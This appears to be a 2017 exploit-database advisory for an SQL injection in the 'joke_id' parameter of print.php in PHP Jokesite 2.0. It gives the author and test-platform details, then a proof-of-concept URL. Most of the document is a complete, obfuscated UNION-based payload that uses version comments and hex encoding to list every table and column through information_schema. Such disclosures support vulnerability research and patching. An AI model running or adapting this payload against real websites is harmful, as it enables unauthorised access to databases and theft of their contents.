# # # # #
# Exploit Title: PHP Jokesite 2.0 - 'joke_id' Parameter SQL Injection
# Dork: N/A
# Date: 21.08.2017
# Vendor Homepage: http://www.scriptdemo.com/
# Software Link: http://www.scriptdemo.com/details/phpjokesite2/
# Demo: http://www.scriptdemo.com/php-jokesite/ver2.0/
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
# 
# http://localhost/[PATH]/print.php?joke_id=[SQL]
#
# -230'+unIon(SELEct+0x283129,0x283229,0x3c68313e494853414e2053454e43414e3c2f68313e,0x283429,0x283529,(/*!00000SeLect*/(@x)/*!00000fRom*/(/*!00000select*/(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(/*!00000select*/(0)/*!00000from*/(information_schema.columns)/*!00000where*/(table_schema=database())and(0x00)in(@x:=/*!00000CoNcaT*/(@x,0x3c62723e,if((@tbl!=table_name),/*!00000CoNcaT*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c646976207374796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329)--+-
#
# Etc...
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